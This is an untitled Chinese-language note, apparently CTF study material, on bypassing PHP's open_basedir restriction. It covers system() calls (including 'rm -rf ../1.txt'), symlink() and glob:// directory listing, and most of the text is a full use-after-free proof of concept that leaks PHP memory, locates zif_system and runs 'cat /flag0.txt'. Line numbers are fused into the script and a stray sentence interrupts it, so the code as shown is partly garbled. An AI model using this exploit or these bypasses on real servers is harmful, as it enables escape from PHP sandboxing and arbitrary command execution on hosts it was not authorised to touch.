【无标题】

13.open_basedir()绕过

1，open_basedir可将用户访问文件的活动范围限制在指定的区域，通常是其家目录的路径，也 
可用符号"."来代表当前目录。

2，注意用open_basedir指定的限制实际上是前缀,而不是目录名。 举例来说: 若"open_basedir = /dir/user", 那么目录 "/dir/user" 和 "/dir/user1"都是 可以访问的。

3，所以如果要将访问限制在仅为指定的目录，请用斜线结束路径名。例如设置成: ,"open_basedir = /dir/user/"

4，open_basedir也可以同时设置多个目录, 在Windows中用分号分隔目录。open_basedir=/home/wwwroot/home/web1/:/tmp/

绕过方法

1，命令执行函数绕过

open_basedir的设置对system等命令执行函数是无效的

<?php system("rm -rf ../1.txt");?><?php system("cat ../1.txt");?>

2,symlink()函数
symlink（）函数创建一个从指定名称连接的现存目标文件开始的符号连接。如果成功，该函数返回TRUE。如果失败，则返回FALSE。

symlink ( string $target , string $link ) : bool

symlink() 对于已有的 target 建立一个名为 link 的符号连接。

target： 连接的目标。link：连接的名称

3.绕过open_basedir()

<?php        $a = "glob:///var/www/test/*.txt";        if ( $b = opendir($a) ) {                while ( ($file = readdir($b)) !== false ) {                        echo "filename:".$file."
";                }                closedir($b);        }?>

opendir() 函数:打开目录句柄。

readdir（）函数：返回目录中下一个文件的文件名。

• 传脚本绕过：

1 <?php2 function ctfshow($cmd) {3 global $abc, $helper, $backtrace;4 class Vuln {5 public $a;6 public function __destruct() {7 global $backtrace;8 unset($this->a);9 $backtrace = (new Exception)->getTrace();10 if(!isset($backtrace[1]['args'])) {11 $backtrace = debug_backtrace();12 }13 }14 }15 class Helper {16 public $a, $b, $c, $d;17 }18 function str2ptr(&$str, $p = 0, $s = 8) {19 $address = 0;20 for($j = $s-1; $j >= 0; $j--) {21 $address <<= 8;22 $address |= ord($str[$p+$j]);23 }24 return $address;25 }26 function ptr2str($ptr, $m = 8) {27 $out = "";28 for ($i=0; $i < $m; $i++) {29 $out .= sprintf("%c",($ptr & 0xff));30 $ptr >>= 8;31 }32 return $out;33 }34 function write(&$str, $p, $v, $n = 8) {35 $i = 0;36 for($i = 0; $i < $n; $i++) {37 $str[$p + $i] = sprintf("%c",($v & 0xff));38 $v >>= 8;39 }40 }41 function leak($addr, $p = 0, $s = 8) {42 global $abc, $helper;43 write($abc, 0x68, $addr + $p - 0x10);44 $leak = strlen($helper->a);45 if($s != 8) { $leak %= 2 << ($s * 8) - 1; }46 return $leak;47 }48 function parse_elf($base) {49 $e_type = leak($base, 0x10, 2);50 $e_phoff = leak($base, 0x20);51 $e_phentsize = leak($base, 0x36, 2);52 $e_phnum = leak($base, 0x38, 2);53 for($i = 0; $i < $e_phnum; $i++) {54 $header = $base + $e_phoff + $i * $e_phentsize;55 $p_type = leak($header, 0, 4);56 $p_flags = leak($header, 4, 4);57 $p_vaddr = leak($header, 0x10);58 $p_memsz = leak($header, 0x28);59 if($p_type == 1 && $p_flags == 6) {60 $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;61 $data_size = $p_memsz;62 } else if($p_type == 1 && $p_flags == 5) {63 $text_size = $p_memsz;64 }65 }66 if(!$data_addr || !$text_size || !$data_size)67 return false;68 return [$data_addr, $text_size, $data_size];69 }70 function get_basic_funcs($base, $elf) {71 list($data_addr, $text_size, $data_size) = $elf;72 for($i = 0; $i < $data_size / 8; $i++) {73 $leak = leak($data_addr, $i * 8);74 if($leak - $base > 0 && $leak - $base < $data_addr - $base) {75 $deref = leak($leak);76 if($deref != 0x746e6174736e6f63)77 continue;78 } else continue;79 $leak = leak($data_addr, ($i + 4) * 8);80 if($leak - $base > 0 && $leak - $base < $data_addr - $base) {81 $deref = leak($leak);82 if($deref != 0x786568326e6962)83 continue;84 } else continue;85 return $data_addr + $i * 8;86 }87 }88 function get_binary_base($binary_leak) {89 $base = 0;90 $start = $binary_leak & 0xfffffffffffff000;91 for($i = 0; $i < 0x1000; $i++) {92 $addr = $start - 0x1000 * $i;93 $leak = leak($addr, 0, 7);94 if($leak == 0x10102464c457f) {95 return $addr;96 }97 }98 }99 function get_system($basic_funcs) {100 $addr = $basic_funcs;101 do {102 $f_entry = leak($addr);103 $f_name = leak($f_entry, 0, 6);104 if($f_name == 0x6d6574737973) {105 return leak($addr + 8);106 }107 $addr += 0x20;108 } while($f_entry != 0);109 return false;110 }111 function trigger_uaf($arg) {$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');112113 $vuln = new Vuln();114 $vuln->a = $arg;115 }116 if(stristr(PHP_OS, 'WIN')) {117 die('This PoC is for *nix systems only.');118 }119 $n_alloc = 10;直接把脚本当作参数传⼊，最后⼀⾏是执⾏的命令相关题⽬:120 $contiguous = [];121 for($i = 0; $i < $n_alloc; $i++)$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');122123 trigger_uaf('x');124 $abc = $backtrace[1]['args'][0];125 $helper = new Helper;126 $helper->b = function ($x) { };127 if(strlen($abc) == 79 || strlen($abc) == 0) {128 die("UAF failed");129 }130 $closure_handlers = str2ptr($abc, 0);131 $php_heap = str2ptr($abc, 0x58);132 $abc_addr = $php_heap - 0xc8;133 write($abc, 0x60, 2);134 write($abc, 0x70, 6);135 write($abc, 0x10, $abc_addr + 0x60);136 write($abc, 0x18, 0xa);137 $closure_obj = str2ptr($abc, 0x20);138 $binary_leak = leak($closure_handlers, 8);139 if(!($base = get_binary_base($binary_leak))) {140 die("Couldn't determine binary base address");141 }142 if(!($elf = parse_elf($base))) {143 die("Couldn't parse ELF header");144 }145 if(!($basic_funcs = get_basic_funcs($base, $elf))) {146 die("Couldn't get basic_functions address");147 }148 if(!($zif_system = get_system($basic_funcs))) {149 die("Couldn't get zif_system address");150 }151152 $fake_obj_offset = 0xd0;153 for($i = 0; $i < 0x110; $i += 8) {154 write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));155 }156 write($abc, 0x20, $abc_addr + $fake_obj_offset);157 write($abc, 0xd0 + 0x38, 1, 4);158 write($abc, 0xd0 + 0x68, $zif_system);159 ($helper->b)($cmd);160 exit();161 }162 ctfshow("cat /flag0.txt");ob_end_flush();163 ?>

【直接把脚本当作参数传⼊，最后⼀⾏是执⾏的命令】

• ini_set('open_basedir','/');
• 系统命令不受open_basedir的限制

<?phpini_set('open_basedir','/var/www/html');$a = eval(system('tac /flag.txt')); //仍然可以执行?>